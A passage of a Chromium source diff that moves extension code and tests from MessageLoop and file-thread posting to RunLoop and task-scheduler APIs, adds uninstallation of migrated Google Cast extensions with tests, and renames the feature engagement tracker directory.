 #include "base/threading/thread_restrictions.h"
 #include "build/build_config.h"
@@ -58,7 +59,7 @@
 
     if (waiting_) {
       waiting_ = false;
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
@@ -72,7 +73,7 @@
 
     if (waiting_) {
       waiting_ = false;
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/chrome/browser/extensions/app_data_migrator_unittest.cc b/chrome/browser/extensions/app_data_migrator_unittest.cc
index b4f618d..bd9f158 100644
--- a/chrome/browser/extensions/app_data_migrator_unittest.cc
+++ b/chrome/browser/extensions/app_data_migrator_unittest.cc
@@ -8,7 +8,6 @@
 #include <utility>
 
 #include "base/callback_forward.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/threading/sequenced_worker_pool.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -19,6 +18,7 @@
 #include "content/public/browser/indexed_db_context.h"
 #include "content/public/browser/storage_partition.h"
 #include "content/public/test/test_browser_thread_bundle.h"
+#include "content/public/test/test_utils.h"
 #include "extensions/browser/extension_registry.h"
 #include "extensions/common/extension.h"
 #include "extensions/common/extension_builder.h"
@@ -118,7 +118,7 @@
 }
 
 void DidWrite(base::File::Error status, int64_t bytes, bool complete) {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void DidCreate(base::File::Error status) {
@@ -138,7 +138,7 @@
   fs_context->OpenFileSystem(extension_url, storage::kFileSystemTypePersistent,
                              storage::OPEN_FILE_SYSTEM_CREATE_IF_NONEXISTENT,
                              base::Bind(&DidOpenFileSystem));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
 }
 
 void GenerateTestFiles(content::MockBlobURLRequestContext* url_request_context,
@@ -169,16 +169,16 @@
 
   fs_context->operation_runner()->CreateFile(fs_persistent_url, false,
                                              base::Bind(&DidCreate));
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
 
   fs_context->operation_runner()->Write(url_request_context, fs_temp_url,
                                         blob1.GetBlobDataHandle(), 0,
                                         base::Bind(&DidWrite));
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
   fs_context->operation_runner()->Write(url_request_context, fs_persistent_url,
                                         blob1.GetBlobDataHandle(), 0,
                                         base::Bind(&DidWrite));
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
 }
 
 void VerifyFileContents(base::File file,
@@ -196,7 +196,7 @@
   file.Close();
   if (!on_close_callback.is_null())
     on_close_callback.Run();
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void VerifyTestFilesMigrated(content::StoragePartition* new_partition,
@@ -220,11 +220,11 @@
   new_fs_context->operation_runner()->OpenFile(
       fs_temp_url, base::File::FLAG_READ | base::File::FLAG_OPEN,
       base::Bind(&VerifyFileContents));
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
   new_fs_context->operation_runner()->OpenFile(
       fs_persistent_url, base::File::FLAG_READ | base::File::FLAG_OPEN,
       base::Bind(&VerifyFileContents));
-  base::RunLoop().Run();
+  content::RunAllBlockingPoolTasksUntilIdle();
 }
 
 TEST_F(AppDataMigratorTest, ShouldMigrate) {
@@ -268,7 +268,7 @@
   migrator_->DoMigrationAndReply(old_ext.get(), new_ext.get(),
                                  base::Bind(&MigrationCallback));
 
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
 
   registry_->AddEnabled(new_ext);
   GURL extension_url =
@@ -281,6 +281,9 @@
   ASSERT_NE(new_partition->GetPath(), default_partition_->GetPath());
 
   VerifyTestFilesMigrated(new_partition, new_ext.get());
+
+  // Clean up.
+  content::RunAllBlockingPoolTasksUntilIdle();
 }
 
 }  // namespace extensions
diff --git a/chrome/browser/extensions/crx_installer_browsertest.cc b/chrome/browser/extensions/crx_installer_browsertest.cc
index 296b1a0..cb7c50df 100644
--- a/chrome/browser/extensions/crx_installer_browsertest.cc
+++ b/chrome/browser/extensions/crx_installer_browsertest.cc
@@ -14,6 +14,7 @@
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/threading/thread_restrictions.h"
 #include "build/build_config.h"
@@ -157,12 +158,12 @@
   void OnInstallSuccess(const Extension* extension, SkBitmap* icon) override {
     proxy_->set_extension_id(extension->id());
     proxy_->set_confirmation_requested(did_call_show_dialog());
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
   void OnInstallFailure(const CrxInstallError& error) override {
     proxy_->set_error(error.message());
     proxy_->set_confirmation_requested(did_call_show_dialog());
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/extensions/error_console/error_console_browsertest.cc b/chrome/browser/extensions/error_console/error_console_browsertest.cc
index fcafd70..b86771f 100644
--- a/chrome/browser/extensions/error_console/error_console_browsertest.cc
+++ b/chrome/browser/extensions/error_console/error_console_browsertest.cc
@@ -9,6 +9,7 @@
 #include "base/files/file_path.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string16.h"
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
@@ -164,7 +165,7 @@
       ++errors_observed_;
       if (errors_observed_ >= errors_expected_) {
         if (waiting_)
-          base::MessageLoopForUI::current()->QuitWhenIdle();
+          base::RunLoop::QuitCurrentWhenIdleDeprecated();
       }
     }
 
diff --git a/chrome/browser/extensions/extension_action_icon_factory_unittest.cc b/chrome/browser/extensions/extension_action_icon_factory_unittest.cc
index fb0f0cc09..11c7d3cb 100644
--- a/chrome/browser/extensions/extension_action_icon_factory_unittest.cc
+++ b/chrome/browser/extensions/extension_action_icon_factory_unittest.cc
@@ -10,7 +10,6 @@
 #include "base/files/file_util.h"
 #include "base/json/json_file_value_serializer.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "build/build_config.h"
@@ -148,7 +147,7 @@
   // ExtensionActionIconFactory::Observer overrides:
   void OnIconUpdated() override {
     if (quit_in_icon_updated_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   gfx::ImageSkia GetFavicon() {
diff --git a/chrome/browser/extensions/extension_icon_manager_unittest.cc b/chrome/browser/extensions/extension_icon_manager_unittest.cc
index f4f6790..f4f492a 100644
--- a/chrome/browser/extensions/extension_icon_manager_unittest.cc
+++ b/chrome/browser/extensions/extension_icon_manager_unittest.cc
@@ -8,7 +8,6 @@
 #include "base/json/json_file_value_serializer.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "base/strings/stringprintf.h"
@@ -70,7 +69,7 @@
   void ImageLoadObserved() {
     unwaited_image_loads_++;
     if (waiting_) {
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/chrome/browser/extensions/extension_service.cc b/chrome/browser/extensions/extension_service.cc
index dc683cdb..51d3227 100644
--- a/chrome/browser/extensions/extension_service.cc
+++ b/chrome/browser/extensions/extension_service.cc
@@ -144,9 +144,12 @@
 // Wait this many seconds after an extensions becomes idle before updating it.
 const int kUpdateIdleDelay = 5;
 
-// Comma-separated list of directories with extensions to load.
-// TODO(samuong): Remove this in M58 (see comment in ExtensionService::Init).
-const char kDeprecatedLoadComponentExtension[] = "load-component-extension";
+// IDs of extensions that have been replaced by component extensions and need to
+// be uninstalled.
+const char* kMigratedExtensionIds[] = {
+    "boadgeojelhgndaghljhdicfkmllpafd",  // Google Cast
+    "dliochdbjfkdbacpmhlcpmleaejidimm"   // Google Cast (Beta)
+};
 
 void DoNothingWithExtensionHost(extensions::ExtensionHost* host) {}
 
@@ -471,24 +474,12 @@
   LoadExtensionsFromCommandLineFlag(switches::kDisableExtensionsExcept);
   if (load_command_line_extensions)
     LoadExtensionsFromCommandLineFlag(extensions::switches::kLoadExtension);
-  // ChromeDriver has no way of determining the Chrome version until after
-  // launch, so it needs to continue passing load-component-extension until it
-  // stops supporting Chrome 56 (when M58 is released). These extensions are
-  // loaded as regular extensions, not component extensions, and are thus safe.
-  // TODO(samuong): Remove this when we release Chrome 58 to stable channel.
-  if (command_line_->HasSwitch(switches::kEnableAutomation) &&
-      command_line_->HasSwitch(kDeprecatedLoadComponentExtension)) {
-    LOG(WARNING) << "Loading extension specified by "
-                    "--load-component-extension as a regular extension. "
-                    "Extensions specified by --load-component-extension will "
-                    "not be loaded starting in M58. Use --load-extension or "
-                    "--disable-extensions-except.";
-    LoadExtensionsFromCommandLineFlag(kDeprecatedLoadComponentExtension);
-  }
   EnabledReloadableExtensions();
   MaybeFinishShutdownDelayed();
   SetReadyAndNotifyListeners();
 
+  UninstallMigratedExtensions();
+
   // TODO(erikkay): this should probably be deferred to a future point
   // rather than running immediately at startup.
   CheckForExternalUpdates();
@@ -2592,3 +2583,15 @@
   queue->AddPendingTask(profile_, extension->id(),
                         base::Bind(&DoNothingWithExtensionHost));
 }
+
+void ExtensionService::UninstallMigratedExtensions() {
+  std::unique_ptr<ExtensionSet> installed_extensions =
+      registry_->GenerateInstalledExtensionsSet();
+
+  for (const std::string& extension_id : kMigratedExtensionIds) {
+    if (installed_extensions->Contains(extension_id)) {
+      UninstallExtension(extension_id, extensions::UNINSTALL_REASON_MIGRATED,
+                         base::Bind(&base::DoNothing), nullptr);
+    }
+  }
+}
diff --git a/chrome/browser/extensions/extension_service.h b/chrome/browser/extensions/extension_service.h
index a22448b..5cff5867 100644
--- a/chrome/browser/extensions/extension_service.h
+++ b/chrome/browser/extensions/extension_service.h
@@ -430,6 +430,8 @@
   void FinishInstallationForTest(const extensions::Extension* extension) {
     FinishInstallation(extension);
   }
+
+  void UninstallMigratedExtensionsForTest() { UninstallMigratedExtensions(); }
 #endif
 
   void set_browser_terminating_for_test(bool value) {
@@ -596,6 +598,9 @@
   // necessary.
   void MaybeSpinUpLazyBackgroundPage(const extensions::Extension* extension_id);
 
+  // Uninstall extensions that have been migrated to component extensions.
+  void UninstallMigratedExtensions();
+
   const base::CommandLine* command_line_ = nullptr;
 
   // The normal profile associated with this ExtensionService.
diff --git a/chrome/browser/extensions/extension_service_unittest.cc b/chrome/browser/extensions/extension_service_unittest.cc
index 01143e4..ed9dab8 100644
--- a/chrome/browser/extensions/extension_service_unittest.cc
+++ b/chrome/browser/extensions/extension_service_unittest.cc
@@ -200,6 +200,8 @@
 const char updates_from_webstore2[] = "oolblhbomdbcpmafphaodhjfcgbihcdg";
 const char updates_from_webstore3[] = "bmfoocgfinpmkmlbjhcbofejhkhlbchk";
 const char permissions_blocklist[] = "noffkehfcaggllbcojjbopcmlhcnhcdn";
+const char cast_stable[] = "boadgeojelhgndaghljhdicfkmllpafd";
+const char cast_beta[] = "dliochdbjfkdbacpmhlcpmleaejidimm";
 
 struct BubbleErrorsTestData {
   BubbleErrorsTestData(const std::string& id,
@@ -269,6 +271,23 @@
   return extension;
 }
 
+scoped_refptr<const extensions::Extension> CreateExtensionWithId(
+    const std::string& extension_id) {
+  extensions::DictionaryBuilder manifest;
+  manifest.Set(extensions::manifest_keys::kName, "extension name")
+      .Set(extensions::manifest_keys::kDescription, "extension description")
+      .Set(extensions::manifest_keys::kManifestVersion, 1)
+      .Set(extensions::manifest_keys::kVersion, "1.0.0")
+      .Set(extensions::manifest_keys::kBrowserAction,
+           extensions::DictionaryBuilder().Build());
+
+  return extensions::ExtensionBuilder()
+      .SetManifest(manifest.Build())
+      .SetID(extension_id)
+      .SetLocation(extensions::Manifest::INTERNAL)
+      .Build();
+}
+
 std::unique_ptr<ExternalInstallInfoFile> CreateExternalExtension(
     const extensions::ExtensionId& extension_id,
     const std::string& version_str,
@@ -753,7 +772,7 @@
   // on with the rest of the test.
   // This call to |Quit()| matches the call to |Run()| in the
   // |PackPunctuatedExtension| test.
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
   EXPECT_EQ(expected_crx_path_.value(), crx_path.value());
   EXPECT_EQ(expected_private_key_path_.value(), private_key_path.value());
   ASSERT_TRUE(base::PathExists(private_key_path));
@@ -7032,3 +7051,37 @@
   // The shared module should be enabled.
   EXPECT_TRUE(registry()->enabled_extensions().Contains(kExtensionId));
 }
+
+// Tests that extensions that have been migrated to component extensions can be
+// uninstalled.
+TEST_F(ExtensionServiceTest, UninstallMigratedExtensions) {
+  InitializeEmptyExtensionService();
+
+  scoped_refptr<const Extension> cast_extension =
+      CreateExtensionWithId(cast_stable);
+  scoped_refptr<const Extension> cast_beta_extension =
+      CreateExtensionWithId(cast_beta);
+  service()->AddExtension(cast_extension.get());
+  service()->AddExtension(cast_beta_extension.get());
+  ASSERT_TRUE(registry()->enabled_extensions().Contains(cast_stable));
+  ASSERT_TRUE(registry()->enabled_extensions().Contains(cast_beta));
+
+  service()->UninstallMigratedExtensionsForTest();
+  EXPECT_FALSE(service()->GetInstalledExtension(cast_stable));
+  EXPECT_FALSE(service()->GetInstalledExtension(cast_beta));
+}
+
+// Tests that extensions that have been migrated to component extensions can be
+// uninstalled even when they are disabled.
+TEST_F(ExtensionServiceTest, UninstallDisabledMigratedExtension) {
+  InitializeEmptyExtensionService();
+
+  scoped_refptr<const Extension> cast_extension =
+      CreateExtensionWithId(cast_stable);
+  service()->AddExtension(cast_extension.get());
+  service()->DisableExtension(cast_stable, Extension::DISABLE_USER_ACTION);
+  ASSERT_TRUE(registry()->disabled_extensions().Contains(cast_stable));
+
+  service()->UninstallMigratedExtensionsForTest();
+  EXPECT_FALSE(service()->GetInstalledExtension(cast_stable));
+}
diff --git a/chrome/browser/extensions/extension_storage_monitor_browsertest.cc b/chrome/browser/extensions/extension_storage_monitor_browsertest.cc
index eb9b926..a446e49e 100644
--- a/chrome/browser/extensions/extension_storage_monitor_browsertest.cc
+++ b/chrome/browser/extensions/extension_storage_monitor_browsertest.cc
@@ -73,7 +73,7 @@
     received_notifications_.insert(notification_id);
 
     if (waiting_ && HasReceivedNotification())
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   message_center::MessageCenter* message_center_;
diff --git a/chrome/browser/extensions/permissions_updater_unittest.cc b/chrome/browser/extensions/permissions_updater_unittest.cc
index d200836..9dc6048b 100644
--- a/chrome/browser/extensions/permissions_updater_unittest.cc
+++ b/chrome/browser/extensions/permissions_updater_unittest.cc
@@ -10,7 +10,6 @@
 #include "base/json/json_file_value_serializer.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/values.h"
 #include "chrome/browser/chrome_notification_types.h"
@@ -103,7 +102,7 @@
 
     if (waiting_) {
       waiting_ = false;
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/chrome/browser/extensions/unpacked_installer.cc b/chrome/browser/extensions/unpacked_installer.cc
index 4d9ccaa..cc7e61c 100644
--- a/chrome/browser/extensions/unpacked_installer.cc
+++ b/chrome/browser/extensions/unpacked_installer.cc
@@ -11,6 +11,7 @@
 #include "base/strings/string16.h"
 #include "base/strings/string_util.h"
 #include "base/strings/utf_string_conversions.h"
+#include "base/task_scheduler/post_task.h"
 #include "base/threading/thread_restrictions.h"
 #include "chrome/browser/extensions/extension_error_reporter.h"
 #include "chrome/browser/extensions/extension_install_prompt.h"
@@ -51,6 +52,11 @@
 const char kImportMissing[] = "'import' extension is not installed.";
 const char kImportNotSharedModule[] = "'import' is not a shared module.";
 
+constexpr base::TaskTraits kTraits = {
+    base::MayBlock(),                   // Needs file access.
+    base::TaskPriority::USER_BLOCKING,  // Install is triggered by UI.
+    base::TaskShutdownBehavior::SKIP_ON_SHUTDOWN};
+
 // Manages an ExtensionInstallPrompt for a particular extension.
 class SimpleExtensionLoadPrompt {
  public:
@@ -129,8 +135,8 @@
 void UnpackedInstaller::Load(const base::FilePath& path_in) {
   DCHECK(extension_path_.empty());
   extension_path_ = path_in;
-  BrowserThread::PostTask(
-      BrowserThread::FILE, FROM_HERE,
+  base::PostTaskWithTraits(
+      FROM_HERE, kTraits,
       base::BindOnce(&UnpackedInstaller::GetAbsolutePath, this));
 }
 
@@ -301,7 +307,7 @@
 }
 
 void UnpackedInstaller::GetAbsolutePath() {
-  DCHECK_CURRENTLY_ON(BrowserThread::FILE);
+  base::ThreadRestrictions::AssertIOAllowed();
 
   extension_path_ = base::MakeAbsoluteFilePath(extension_path_);
 
@@ -328,13 +334,13 @@
     return;
   }
 
-  BrowserThread::PostTask(
-      BrowserThread::FILE, FROM_HERE,
+  base::PostTaskWithTraits(
+      FROM_HERE, kTraits,
       base::BindOnce(&UnpackedInstaller::LoadWithFileAccess, this, GetFlags()));
 }
 
 void UnpackedInstaller::LoadWithFileAccess(int flags) {
-  DCHECK_CURRENTLY_ON(BrowserThread::FILE);
+  base::ThreadRestrictions::AssertIOAllowed();
 
   std::string error;
   extension_ = file_util::LoadExtension(extension_path_, Manifest::UNPACKED,
diff --git a/chrome/browser/extensions/user_script_listener_unittest.cc b/chrome/browser/extensions/user_script_listener_unittest.cc
index 80d206f..7c282d8 100644
--- a/chrome/browser/extensions/user_script_listener_unittest.cc
+++ b/chrome/browser/extensions/user_script_listener_unittest.cc
@@ -24,6 +24,7 @@
 #include "content/public/browser/notification_service.h"
 #include "content/public/browser/resource_throttle.h"
 #include "content/public/test/test_browser_thread_bundle.h"
+#include "content/public/test/test_utils.h"
 #include "extensions/browser/extension_registry.h"
 #include "net/base/request_priority.h"
 #include "net/traffic_annotation/network_traffic_annotation_test_helper.h"
@@ -207,6 +208,7 @@
         .AppendASCII("behllobkkfkfnphdnhnkndlbkcpglgmj")
         .AppendASCII("1.0.0.0");
     UnpackedInstaller::Create(service_)->Load(extension_path);
+    content::RunAllBlockingPoolTasksUntilIdle();
   }
 
   void UnloadTestExtension() {
@@ -231,7 +233,6 @@
 
 TEST_F(UserScriptListenerTest, DelayAndUpdate) {
   LoadTestExtension();
-  base::RunLoop().RunUntilIdle();
 
   net::TestDelegate delegate;
   net::TestURLRequestContext context;
@@ -249,7 +250,6 @@
 
 TEST_F(UserScriptListenerTest, DelayAndUnload) {
   LoadTestExtension();
-  base::RunLoop().RunUntilIdle();
 
   net::TestDelegate delegate;
   net::TestURLRequestContext context;
@@ -287,7 +287,6 @@
 
 TEST_F(UserScriptListenerTest, NoDelayNotMatching) {
   LoadTestExtension();
-  base::RunLoop().RunUntilIdle();
 
   net::TestDelegate delegate;
   net::TestURLRequestContext context;
@@ -303,7 +302,6 @@
 
 TEST_F(UserScriptListenerTest, MultiProfile) {
   LoadTestExtension();
-  base::RunLoop().RunUntilIdle();
 
   // Fire up a second profile and have it load an extension with a content
   // script.
@@ -349,7 +347,6 @@
 // throttles.
 TEST_F(UserScriptListenerTest, ResumeBeforeStart) {
   LoadTestExtension();
-  base::RunLoop().RunUntilIdle();
   net::TestDelegate delegate;
   net::TestURLRequestContext context;
   GURL url(kMatchingUrl);
diff --git a/chrome/browser/extensions/webstore_installer.cc b/chrome/browser/extensions/webstore_installer.cc
index a8d9de7..02b3195b 100644
--- a/chrome/browser/extensions/webstore_installer.cc
+++ b/chrome/browser/extensions/webstore_installer.cc
@@ -24,6 +24,8 @@
 #include "base/strings/string_util.h"
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
+#include "base/task_scheduler/post_task.h"
+#include "base/threading/thread_restrictions.h"
 #include "base/time/time.h"
 #include "build/build_config.h"
 #include "chrome/browser/chrome_notification_types.h"
@@ -109,19 +111,14 @@
 
 base::FilePath* g_download_directory_for_tests = NULL;
 
-// Must be executed on the FILE thread.
-void GetDownloadFilePath(
-    const base::FilePath& download_directory,
-    const std::string& id,
-    const base::Callback<void(const base::FilePath&)>& callback) {
+base::FilePath GetDownloadFilePath(const base::FilePath& download_directory,
+                                   const std::string& id) {
+  base::ThreadRestrictions::AssertIOAllowed();
   // Ensure the download directory exists. TODO(asargent) - make this use
   // common code from the downloads system.
-  if (!base::DirectoryExists(download_directory)) {
-    if (!base::CreateDirectory(download_directory)) {
-      BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,
-                              base::BindOnce(callback, base::FilePath()));
-      return;
-    }
+  if (!base::DirectoryExists(download_directory) &&
+      !base::CreateDirectory(download_directory)) {
+    return base::FilePath();
   }
 
   // This is to help avoid a race condition between when we generate this
@@ -141,8 +138,7 @@
         base::StringPrintf(" (%d)", uniquifier));
   }
 
-  BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,
-                          base::BindOnce(callback, file));
+  return file;
 }
 
 void MaybeAppendAuthUserParameter(const std::string& authuser, GURL* url) {
@@ -601,11 +597,14 @@
   }
 #endif
 
-  BrowserThread::PostTask(
-      BrowserThread::FILE, FROM_HERE,
-      base::BindOnce(
-          &GetDownloadFilePath, download_directory, extension_id,
-          base::Bind(&WebstoreInstaller::StartDownload, this, extension_id)));
+  constexpr base::TaskTraits kTraits = {
+      base::MayBlock(),                   // Needs file access.
+      base::TaskPriority::USER_BLOCKING,  // Install is triggered by UI.
+      base::TaskShutdownBehavior::SKIP_ON_SHUTDOWN};
+  base::PostTaskWithTraitsAndReplyWithResult(
+      FROM_HERE, kTraits,
+      base::BindOnce(&GetDownloadFilePath, download_directory, extension_id),
+      base::BindOnce(&WebstoreInstaller::StartDownload, this, extension_id));
 }
 
 // http://crbug.com/165634
diff --git a/chrome/browser/extensions/zipfile_installer.cc b/chrome/browser/extensions/zipfile_installer.cc
index 7b08e6d..8908591 100644
--- a/chrome/browser/extensions/zipfile_installer.cc
+++ b/chrome/browser/extensions/zipfile_installer.cc
@@ -6,6 +6,7 @@
 
 #include "base/files/file_util.h"
 #include "base/path_service.h"
+#include "base/task_scheduler/post_task.h"
 #include "chrome/browser/extensions/extension_error_reporter.h"
 #include "chrome/browser/extensions/extension_service.h"
 #include "chrome/browser/extensions/unpacked_installer.h"
@@ -22,6 +23,23 @@
 const char kExtensionHandlerFileUnzipError[] =
     "Could not unzip extension for install.";
 
+base::Optional<base::FilePath> PrepareAndGetUnzipDir(
+    const base::FilePath& zip_file) {
+  base::ThreadRestrictions::AssertIOAllowed();
+
+  base::FilePath dir_temp;
+  base::PathService::Get(base::DIR_TEMP, &dir_temp);
+
+  base::FilePath::StringType dir_name =
+      zip_file.RemoveExtension().BaseName().value() + FILE_PATH_LITERAL("_");
+
+  base::FilePath unzip_dir;
+  if (!base::CreateTemporaryDirInDir(dir_temp, dir_name, &unzip_dir))
+    return base::Optional<base::FilePath>();
+
+  return unzip_dir;
+}
+
 }  // namespace
 
 namespace extensions {
@@ -39,9 +57,13 @@
 
   zip_file_ = zip_file;
 
-  content::BrowserThread::PostTask(
-      content::BrowserThread::FILE, FROM_HERE,
-      base::BindOnce(&ZipFileInstaller::PrepareUnzipDir, this, zip_file));
+  constexpr base::TaskTraits kTraits = {
+      base::MayBlock(),                   // Needs file access.
+      base::TaskPriority::USER_BLOCKING,  // Install is triggered by UI.
+      base::TaskShutdownBehavior::SKIP_ON_SHUTDOWN};
+  base::PostTaskWithTraitsAndReplyWithResult(
+      FROM_HERE, kTraits, base::BindOnce(&PrepareAndGetUnzipDir, zip_file),
+      base::BindOnce(&ZipFileInstaller::Unzip, this));
 }
 
 ZipFileInstaller::ZipFileInstaller(ExtensionService* service)
@@ -50,46 +72,27 @@
 
 ZipFileInstaller::~ZipFileInstaller() = default;
 
-void ZipFileInstaller::PrepareUnzipDir(const base::FilePath& zip_file) {
-  DCHECK_CURRENTLY_ON(content::BrowserThread::FILE);
-
-  base::FilePath dir_temp;
-  base::PathService::Get(base::DIR_TEMP, &dir_temp);
-
-  base::FilePath::StringType dir_name =
-      zip_file.RemoveExtension().BaseName().value() + FILE_PATH_LITERAL("_");
-
-  base::FilePath unzip_dir;
-  if (!base::CreateTemporaryDirInDir(dir_temp, dir_name, &unzip_dir)) {
-    content::BrowserThread::PostTask(
-        content::BrowserThread::UI, FROM_HERE,
-        base::BindOnce(&ZipFileInstaller::ReportFailure, this,
-                       std::string(kExtensionHandlerTempDirError)));
+void ZipFileInstaller::Unzip(base::Optional<base::FilePath> unzip_dir) {
+  DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
+  if (!unzip_dir) {
+    ReportFailure(std::string(kExtensionHandlerTempDirError));
     return;
   }
-
-  content::BrowserThread::PostTask(
-      content::BrowserThread::UI, FROM_HERE,
-      base::BindOnce(&ZipFileInstaller::Unzip, this, unzip_dir));
-}
-
-void ZipFileInstaller::Unzip(const base::FilePath& unzip_dir) {
-  DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
   DCHECK(!utility_process_mojo_client_);
 
   utility_process_mojo_client_ = base::MakeUnique<
       content::UtilityProcessMojoClient<mojom::ExtensionUnpacker>>(
       l10n_util::GetStringUTF16(IDS_UTILITY_PROCESS_ZIP_FILE_INSTALLER_NAME));
   utility_process_mojo_client_->set_error_callback(
-      base::Bind(&ZipFileInstaller::UnzipDone, this, unzip_dir, false));
+      base::Bind(&ZipFileInstaller::UnzipDone, this, *unzip_dir, false));
 
-  utility_process_mojo_client_->set_exposed_directory(unzip_dir);
+  utility_process_mojo_client_->set_exposed_directory(*unzip_dir);
 
   utility_process_mojo_client_->Start();
 
   utility_process_mojo_client_->service()->Unzip(
-      zip_file_, unzip_dir,
-      base::Bind(&ZipFileInstaller::UnzipDone, this, unzip_dir));
+      zip_file_, *unzip_dir,
+      base::Bind(&ZipFileInstaller::UnzipDone, this, *unzip_dir));
 }
 
 void ZipFileInstaller::UnzipDone(const base::FilePath& unzip_dir,
diff --git a/chrome/browser/extensions/zipfile_installer.h b/chrome/browser/extensions/zipfile_installer.h
index 608885c..28d5407 100644
--- a/chrome/browser/extensions/zipfile_installer.h
+++ b/chrome/browser/extensions/zipfile_installer.h
@@ -40,8 +40,7 @@
   ~ZipFileInstaller();
 
   // Unzip an extension into |unzip_dir| and load it with an UnpackedInstaller.
-  void PrepareUnzipDir(const base::FilePath& zip_file);
-  void Unzip(const base::FilePath& unzip_dir);
+  void Unzip(base::Optional<base::FilePath> unzip_dir);
   void UnzipDone(const base::FilePath& unzip_dir, bool success);
 
   // On failure, report the |error| reason.
diff --git a/chrome/browser/external_protocol/external_protocol_handler_unittest.cc b/chrome/browser/external_protocol/external_protocol_handler_unittest.cc
index 71acc9f2..a46c68e 100644
--- a/chrome/browser/external_protocol/external_protocol_handler_unittest.cc
+++ b/chrome/browser/external_protocol/external_protocol_handler_unittest.cc
@@ -4,7 +4,6 @@
 
 #include "chrome/browser/external_protocol/external_protocol_handler.h"
 
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "chrome/browser/prefs/browser_prefs.h"
 #include "chrome/common/pref_names.h"
@@ -86,7 +85,7 @@
   }
 
   void FinishedProcessingCheck() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void set_os_state(shell_integration::DefaultWebClientState value) {
diff --git a/chrome/browser/feature_engagement/DEPS b/chrome/browser/feature_engagement/DEPS
new file mode 100644
index 0000000..fe5dacf0
--- /dev/null
+++ b/chrome/browser/feature_engagement/DEPS
@@ -0,0 +1,4 @@
+include_rules = [
+  "+components/feature_engagement",
+  "+components/keyed_service",
+]
diff --git a/chrome/browser/feature_engagement/OWNERS b/chrome/browser/feature_engagement/OWNERS
new file mode 100644
index 0000000..46eae34
--- /dev/null
+++ b/chrome/browser/feature_engagement/OWNERS
@@ -0,0 +1 @@
+file://components/feature_engagement/OWNERS
diff --git a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.cc b/chrome/browser/feature_engagement/new_tab/new_tab_tracker.cc
similarity index 83%
rename from chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.cc
rename to chrome/browser/feature_engagement/new_tab/new_tab_tracker.cc
index 6536137..a0053ec 100644
--- a/chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.cc
+++ b/chrome/browser/feature_engagement/new_tab/new_tab_tracker.cc
@@ -2,16 +2,16 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker.h"
+#include "chrome/browser/feature_engagement/new_tab/new_tab_tracker.h"
 
 #include "base/time/time.h"
-#include "chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "chrome/browser/feature_engagement/tracker_factory.h"
 #include "chrome/browser/metrics/desktop_session_duration/desktop_session_duration_tracker.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/common/pref_names.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/feature_constants.h"
+#include "components/feature_engagement/public/tracker.h"
